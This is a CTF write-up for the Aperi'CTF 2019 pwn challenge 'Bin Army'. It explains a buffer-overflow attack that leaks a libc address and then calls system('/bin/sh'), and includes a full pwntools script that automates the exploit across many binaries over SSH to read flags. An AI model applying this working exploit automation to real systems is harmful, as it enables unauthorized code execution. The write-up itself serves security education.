Bin Army

Aperi'CTF 2019 - Pwn (175 pts).

Aperi’CTF 2019 - Bin Army

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Bin Army Pwn 175 3

SecureByDesign Corp propose un moyen révolutionnaire permettant de limiter la contagion des virus utilisant des buffers overflow pour se répandre. La solution était pourtant simple : utiliser des buffers ayant des tailles variables ! “Bah oui, de cette manière, un exploit ne marchera jamais partout, c’est pourtant simple !” - Jean Michel Crédible, CEO de SecureByDesign Corp

Chaque fichier sensible est caché par un binaire différent, à vous de leur prouver que leur solution ne vaut pas la peau d’un smourbiff !

Accès au serveur :

ssh -p 31340 -o StrictHostKeyChecking=no chall@binarmy1.aperictf.fr # 7heqDtFq6b83qx9s

TL;DR

This challenge aims to show that the exploit generation can be automated, and that an exploit can also be made in a generic way to handle different variations of a bug. The final implementation is up to the attacker / CTFer.

The vulnerability proposed is a simple buffer overflow and can be solver with a ret2main + leak libc base address + ret2libc system(/bin/sh).

Methodology

For every binary in the readable directory we will :

  • Find its library and useful symbols (here, fflush, rintf, main, …)
  • Fuzz manually and automate the crash offset detection
  • Use the strings and leaked functions to construct our exploit
  • Enjoy our new flag char !

First we will leak the fflush address by using printf@plt("%s\n", fflush@got) and compute the libc base address with a substraction.

As this program is not PIC we can use the statical address in the plt, got, and main. So stage 1 is leak + ret2main :

# Disassemble the binary and get the crash offset to control EIP
offset  = int(elf.disasm(vuln, (main - vuln)).split('\n')[18].split('[ebp-')[1].split(']')[0][2:], 16)
offset += 4  # ebp

print('> Offset: 0x%x' % (offset))

# Leak fflush address.
payload  = 'A'*offset
payload += pack(plt_printf)
payload += pack(main)
payload += pack(str_format)
payload += pack(got_fflush)
libc_base = fflush - libc_fflush

Once we’re back in main with the libc address in our hands, execve("/bin/sh", 0, 0) and there we go! We’ll also do a neat ret2exit to close the program without a dirty crash =]

# system('/bin/sh')
payload  = 'A'*offset
payload += pack(libc_base + libc_system)
payload += pack(libc_base + libc_exit)
payload += pack(libc_base + libc_binsh)

We then use our shell to get the char of the password, we sort the files by name, and BOOM!

Note that this solution works both with and without ASLR =]

Still curious? Have a look to the full exploit!

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import re

context.arch = 'i386'
context.log_level = 'error'

USER = 'chall'
HOST = 'binarmy1.aperictf.fr'
PASSWORD = '7heqDtFq6b83qx9s'
FLAG_PATH = '/home/chall/flag'
R_CHALL_DIR = '/home/chall/bin'
L_CHALL_DIR = './bin'
PORT = 31340
PROMPT = '$'

conn = ssh(USER, HOST, port=PORT, password=PASSWORD)

## Download challenge files.
if not os.path.isdir(L_CHALL_DIR):
    conn.download_dir(remote=R_CHALL_DIR, local='./')

## Exploit challenges.
flag = ''
for chall in filter(re.compile(r'^bof_[0-9]+$').match, os.listdir(L_CHALL_DIR)):
    chall_path = '%s/%s' % (L_CHALL_DIR, chall)
    flag_path = '%s/%s' % (FLAG_PATH, chall[-2:])
    print('=== %s ===' % (chall_path))

    # Fix POSIX mod.
    os.chmod('%s/%s' % (L_CHALL_DIR, chall), 0o550)

    # Search for libc.
    libs = conn.libs(chall_path, L_CHALL_DIR)

    libc_path = ''
    for lib in libs:
        if 'libc' in lib and libc_path == '':
            libc_path = lib

    # Load ELF/libc.
    elf = ELF(chall_path, checksec=False)
    libc = ELF(libc_path)

    # Dump symbols.
    vuln = elf.symbols['vuln']
    main = elf.symbols['main']
    plt_printf = elf.plt['printf']
    got_fflush = elf.got['fflush']
    str_format = next(elf.search('%s\n\x00'))

    ## libc relative symbols.
    libc_binsh = next(libc.search('/bin/sh\x00'))
    libc_system = libc.symbols['system']
    libc_fflush = libc.symbols['fflush']
    libc_exit = libc.symbols['exit']

    # Get EIP offset.
    offset  = int(elf.disasm(vuln, (main - vuln)).split('\n')[18].split('[ebp-')[1].split(']')[0][2:], 16)
    offset += 4  # ebp

    print('> Offset: 0x%x' % (offset))

    # Leak fflush address.
    payload  = 'A'*offset
    payload += pack(plt_printf)
    payload += pack(main)
    payload += pack(str_format)
    payload += pack(got_fflush)

    p = conn.process(argv=chall_path)
    p.recvuntil('GiveMeF00D > ')
    p.sendline(payload)
    p.recvuntil('Nom nom nom...', timeout=0.5)
    fflush = unpack(p.read(4))

    print('> Leaked fflush: 0x%x' % fflush)

    # Compute libc base.
    libc_base = fflush - libc_fflush

    print('> Libc base: 0x%x' % libc_base)

    # system('/bin/sh')
    payload  = 'A'*offset
    payload += pack(libc_base + libc_system)
    payload += pack(libc_base + libc_exit)
    payload += pack(libc_base + libc_binsh)

    p.recvuntil('GiveMeF00D > ')
    p.sendline(payload)
    p.recvuntil(PROMPT)

    # cat flag
    p.sendline('/bin/cat %s' % flag_path)
    flag += p.recvuntil(PROMPT).replace(PROMPT, '').strip()

    print('> Flag: %s' % flag)

    p.close()

# conn.interactive()

Flag : APRK{they_are_legion}

Happy hacking !

Laluka and Creased